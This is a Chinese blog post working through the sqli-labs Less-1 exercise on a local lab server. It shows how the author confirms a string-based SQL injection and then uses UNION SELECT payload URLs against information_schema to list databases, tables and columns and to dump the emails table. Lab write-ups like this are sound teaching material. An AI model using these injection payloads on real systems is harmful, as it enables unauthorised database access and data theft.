Less-1

作者: seeiy | 来源:发表于2018-09-26 20:29 被阅读12次

    0x00
    目标取得security数据库中的emails表里的数据

    0x01
    构建?id=1' 添加单引号报错, 然后添加?id=1' and 1=1 --+, 成功返回,根据这两次尝试可以看出应该是一个字符型注入,

    tips1:在数据库中的注释符为--, 在这里添加+是因为在编码的时候会编译成空格, 以及另外一种#注释符也不成功的也是因为编码的问题, 应该是%23, 直接写入编译后的#.

    tips2:关于下面为什么会构建id=18, 主要就是为了让前面这里的id这一段SQL语句不成立从而去执行后面的SQL语句, 如果前面的id成立了就不会去执行后面的SQL语句了. 其实这里如果写成立的id, 后面就会发现一直显示就是这个id的数据. 其实这里id可以是-1或者0或者可以不写, 在尝试改变id的值从1到14, 发现都是可以正常返回数据, 直到大于14发现都会报错, 这里猜测数据库中存储的id最多就存储了14条数据, 于是随便写了一个大于14的数值就是为了使其不成立.

    6.png

    一个一个试发现最多只能返回三个数据不报错,四个就超出了列的范围

    这个版本的MySQL存在依然还存在information_schema这个函数,因此可以利用这个函数一次获取数据库名信息, 表名信息, 列信息以及具体的数据.

    获取所有数据库名的信息
    http://127.0.0.1/sqllab/Less-1/?id=18' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+

    1.png

    获取security这个数据库中的表名信息
    http://127.0.0.1/sqllab/Less-1/?id=18' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

    3.png

    获取emails这个表的列名信息
    http://127.0.0.1/sqllab/Less-1/?id=18' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails') --+

    4.png

    获取目标数据,bingo!
    http://127.0.0.1/sqllab/Less-1/?id=18' union select 1,2,(select group_concat(id,email_id) from security.emails) --+

    5.png

    0x02
    再具体的动手中, 发现别人都是用的什么0x.....刚开始不知道是什么编码格式, 后来才发现就是十六进制, 就只是在网上找一个字符串转十六进制的在线网站, 转换以后直接在开头加0x就行,至于为什么, 0x开头就是十六进制的格式, 吐槽很多网站, 都是直接转换, 也不给加上0x, 刚开始这里懵了一会, 不过后来发现直接给数据库名表名加单引号引起来也可以, 直接写数据库名表名会报错的, 关于information_schema.schemata这个在后来的mysql版本中好像取消了

    在 SQL Server 的早期版本中,INFORMATION_SCHEMA.SCHEMATA 视图返回 SQL Server 实例中的所有数据库。 现在,该视图返回数据库中的所有架构,这是符合 SQL 标准的。

    纠正措施
    应用程序修改为引用sys.databases目录视图以返回所有数据库的实例中SQL Server。

    相关文章

      网友评论

          本文标题:Less-1

          本文链接:https://www.haomeiwen.com/subject/ryjjoftx.html